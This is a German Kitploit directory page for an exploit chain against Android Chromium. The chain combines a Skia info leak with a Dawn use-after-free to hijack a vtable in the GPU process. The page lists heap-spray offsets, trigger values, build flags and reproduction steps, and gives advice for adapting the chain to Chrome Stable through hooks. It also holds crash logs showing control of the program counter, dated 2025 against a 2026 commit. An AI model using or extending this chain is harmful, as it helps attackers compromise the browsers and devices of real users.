Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-5281-CVE-2026-11057-fullchain — Vollständige Exploit-Kette für Android Chromium, die den CVE-2026-11057-Informationsleck und den CVE-2026-5281-Use-after-Free kombiniert, um eine Vtable-Übernahme und beliebige Codeausführung zu erreichen. | Kitploit
Tools/GitHubGitHub/jaf0rk/cve-2026-5281-cve-2026-11057-fullchain
Android-SicherheitExploit-FrameworksSchwachstellenanalyseExploitationWebanwendungs-ExploitationMobile SicherheitBinary-Exploitation
GitHubjaf0rk/cve-2026-5281-cve-2026-11057-fullchain

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-5281-CVE-2026-11057-fullchain

Vollständige Exploit-Kette für Android Chromium, die den CVE-2026-11057-Informationsleck und den CVE-2026-5281-Use-after-Free kombiniert, um eine Vtable-Übernahme und beliebige Codeausführung zu erreichen.

Repository anzeigen
1vor 2 TagenNoch nicht geprüft

CVE-2026-5281+CVE-2026-11057 Android Fullchain

Gerät

Pixel 7 Android 16 ARM64

Chromium-Version

root@kitploit:~
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date:   Mon Mar 9 12:48:07 2026 -0700

Beschreibung

Exploit-Ansatz

Dieses Repository kombiniert CVE-2026-11057 (nicht initialisierter Glyphen-Bildspeicher in Skia) und CVE-2026-5281 (Use-after-free von DeviceInfo im Dawn-Wire-Server) zu einer vollständigen Chain. Alle Änderungen erfolgen auf der Renderer-Seite; der GPU-Prozess-Code bleibt unverändert:

  1. Info-Leak (CVE-2026-11057) — Einen nicht initialisierten Glyphen-Bildpuffer über Canvas-Text-Rendering auslösen, Zeiger aus dem Heap des GPU-Prozesses zurücklesen, sie mit arithmetischen Läufen validieren, die PartitionAlloc-Pool-Basis ableiten und das Fake-Server-Ziel M = POOL + 0x202A08000 (kalibrierter Offset) berechnen.

  2. CC-Spray — createBuffer(label="CCM:<m>:<n>") löst die Injektion von 3000 unvollständigen ChunkedCommands aus (10KB-Bucket, remainingSize=1, im mChunkedCommands des Wire-Servers am Leben gehalten). Das Payload füllt die Region um M mit einem Fake-Server, der für Android arm64 ausgelegt ist: MutexProtected-vptr bei +0xB20, ChunkedCommandSerializer bei +0xB50/+0xB58, Fake-CommandSerializer/vtable bei +0xC00/+0xD00.

  3. 5281-Trigger + Belegen — queue.writeBuffer(buffer, 0x414141, ...) ruft zuerst Unregister(Device) auf, um das 16-Byte-DeviceInfo freizugeben, injiziert dann einen 16-Byte-Belegungs-ChunkedCommand, um diesen Slot zurückzuerobern und info->server mit M zu überschreiben, und löst schließlich einen Validierungsfehler mit einem Out-of-Bounds-Offset aus.

  4. Dangling-Callback → Vtable-Hijack — Der Callback für nicht abgefangene Fehler dereferenziert info->server = M (Fake-Server): Die genullten Mutexes bestehen, die Ausführung erreicht OnUncapturedError → SerializeCommand, und der relative Vtable-Indirect-Call trifft unsere Fake-Vtable, was pc = fake_vtable + kontrollierter int32-Offset ergibt, demonstriert durch pc = 0x7641414141.

Hinweis: Android-arm64-Chromium verwendet relative Vtables (-fexperimental-relative-c++-abi-vtables); Vtable-Einträge sind 32-Bit-Relativoffsets statt absoluter Funktionszeiger, daher verwendet der PoC einen kontrollierten int32-Offset als Marker am Vtable-Hijack-Punkt.

Auf dem Testgerät erreicht die vollständige Chain den Vtable-Hijack-Crash mit einer Erfolgsrate von fast 100 %; die Leak-Phase erfordert gelegentlich mehrere automatische Neuladevorgänge, bevor sie erfolgreich ist.

Dateirollen

  • SkStrike.cpp.patch — CVE-2026-11057-Leak-Trigger. FlattenGlyphsByType() schreibt das Strike-Payload um, sodass der GPU-Prozess ein SkGlyph mit fImage == nullptr erstellt und schließlich einen nicht initialisierten Bildpuffer liest, um Heap-Zeiger zu leaken.
  • Device.cpp.patch — Dawn-Wire-Client-CC-Spray. APICreateBuffer() parst das CCM:-Label, baut das Android-arm64-Fake-Server-Payload auf und injiziert N unvollständige ChunkedCommands, die im GPU-Prozess am Leben bleiben.
  • ApiProcs.cpp.patch — CVE-2026-5281-Trigger + Belegen. Beim Magic-Offset 0x414141 von QueueWriteBuffer ruft es Unregister(Device) auf, um DeviceInfo freizugeben, injiziert einen 16-Byte-ChunkedCommand, um den Slot zurückzuerobern und zu setzen, und fährt dann mit einem Out-of-Bounds-Offset fort, um den Dangling-Callback auszulösen.

Offenlegungsumfang

Dieser ExP wird nur bis zum Vtable-Hijack-Schritt offengelegt (kontrolliertes Indirect-Call-Ziel, pc = base+0x41414141). Die Schritte ab dem kontrollierten Sprung sowie die RCE-Implementierung bleiben vertraulich und sind in diesem Repository nicht enthalten.

Build args.gn

root@kitploit:~
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false  
proprietary_codecs = true   
ffmpeg_branding = "Chrome"  
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"

# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true

treat_warnings_as_errors = false

Reproduktion

  1. cd third_party/dawn
  2. git apply ApiProcs.cpp.patch
  3. git apply Device.cpp.patch
  4. cd ../skia
  5. git apply SkStrike.cpp.patch
  6. Chromium bauen
  7. Chrome auf einem Android-Gerät öffnen und exploit.html ausführen
  8. adb logcat | grep DEBUG auf dem PC ausführen

Hinweis

  1. Vorsicht mit der PartitionAllocEventuallyZeroFreedMemory-Falle. Wenn aktiviert, nullt es freigegebenen Speicher schließlich aus. Diese Funktion ist standardmäßig deaktiviert. Bei offiziellen Stable-Builds wird sie über Googles Finch (serverseitiger Feldtest) gesteuert, und Google aktiviert sie für die allgemeine Bevölkerung in der Regel nicht. Sie ist jedoch häufig in lokalen / inoffiziellen Builds und offiziellen Dev/Canary-Kanälen aktiviert (insbesondere wenn Feldtest-Konfigurationen aktiv sind). Dies ist eine häufige Falle bei der Entwicklung oder dem Testen von Exploits gegen Nicht-Stable-Builds.
  2. Greifen Sie über die Loopback-Adresse 127.0.0.1 auf exploit.html zu. Andernfalls wird HTTP als nicht vertrauenswürdig behandelt und WebGPU funktioniert nicht.

Crash-Stack

Aktueller Exploit-Stack:

root@kitploit:~
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG   : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG   : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG   : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG   : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG   : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG   : pid: 11188, tid: 11211, name: CrGpuMain  >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG   : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG   :     x0  0000007602a08b20  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG   :     x4  00000000000000b1  x5  000000760148b520  x6  0000000001414d4c  x7  0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG   :     x8  0000007b272cd790  x9  0000007641414141  x10 0000000000000000  x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x16 0000007b230ada10  x17 0000007e66d55520  x18 0000007b25fd8000  x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x20 00000000000000b1  x21 00000076000f5c40  x22 0000000000000002  x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG   :     x24 0000007602a08000  x25 0000007b230e7000  x26 0000007b1897c2c6  x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG   :     x28 0000007b22fa7728  x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG   :     lr  0000007b20309184  sp  0000007b272cd770  pc  0000007641414141  pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG   : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG   : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG   :       #00 pc 000000003dd8c141  [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG   :       #01 pc 00000000084ac180  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #02 pc 00000000084ab1fc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #03 pc 0000000002a1988c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #04 pc 0000000002a36b4c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #05 pc 00000000029de990  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #06 pc 00000000084ae164  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #07 pc 00000000084956b8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #08 pc 0000000008dd61f0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #09 pc 0000000008dd6300  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #10 pc 0000000008dd3dd0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #11 pc 00000000065fe184  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #12 pc 00000000065fd1dc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #13 pc 00000000065faf6c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #14 pc 00000000065fac54  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #15 pc 0000000005a63054  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #16 pc 00000000065ff294  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #17 pc 000000000547e288  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #18 pc 00000000058de7ec  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #19 pc 0000000005d66b70  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #20 pc 000000000633da58  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #21 pc 00000000063431e8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #22 pc 0000000007a2eb60  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #23 pc 0000000007a2e730  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #24 pc 0000000007a2dd14  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #25 pc 0000000007a2da24  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #26 pc 000000000033f500  /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #27 pc 0000000000689588  /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #28 pc 00000000002890ec  /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #29 pc 00000000000a94f0  /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #30 pc 0000000000328194  /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #31 pc 00000000002d9348  /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #32 pc 0000000000421028  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #33 pc 0000000000420c74  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #34 pc 0000000000080e6c  /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #35 pc 00000000000736d0  /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)

Vollständiger Exploit-Stack (Sprung zu einer beliebigen 64-Bit-Adresse):

root@kitploit:~
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG   : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG   : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG   : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG   : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG   : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG   : pid: 17875, tid: 17891, name: CrGpuMain  >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG   : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG   :     x0  0000007602a08b68  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG   :     x4  00000000000000b1  x5  0000007600024c40  x6  0000000001414d4c  x7  0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG   :     x8  4141414141414141  x9  0000007b76d934a0  x10 0000000000000000  x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x16 0000007b24f19ab0  x17 0000007e66d55520  x18 0000007b266dc000  x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x20 00000000000000b1  x21 00000076000c9f40  x22 0000000000000002  x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG   :     x24 0000007602a08000  x25 0000007b24f53000  x26 0000007b1a7e82c6  x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG   :     x28 0000007b24e137c8  x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG   :     lr  0000007b76d934b0  sp  0000007b272cd770  pc  0041414141414141  pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG   : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG   : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG   :       #00 pc 0041414141414141  <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG   :       #01 pc 0000000000b0f4ac  /.....
06-12 01:02:33.858 17983 17983 F DEBUG   :       #02 pc 00000000001cdffc  [anon:partition_alloc]

In Chrome Stable

In der Stable-Version von Chromium ist das direkte Anwenden von Patches möglicherweise nicht durchführbar oder wünschenswert. Sie können die Patch-Logik daher als Hook-Funktionen neu schreiben, um die relevanten Verarbeitungsfunktionen zur Laufzeit abzufangen und zu modifizieren.

Tool herunterladen
info->server = M
  • exploit.html — Seiten-Orchestrierung: Leak-Primitive (groom/draw/readCell/verifyRuns/derivePoolBase), CC-Spray und ein eigenständiger exploit5281()-Trigger; bei Fehlern räumt es den Spray-Zustand auf und lädt neu, sodass sich die Phasen nicht gegenseitig stören.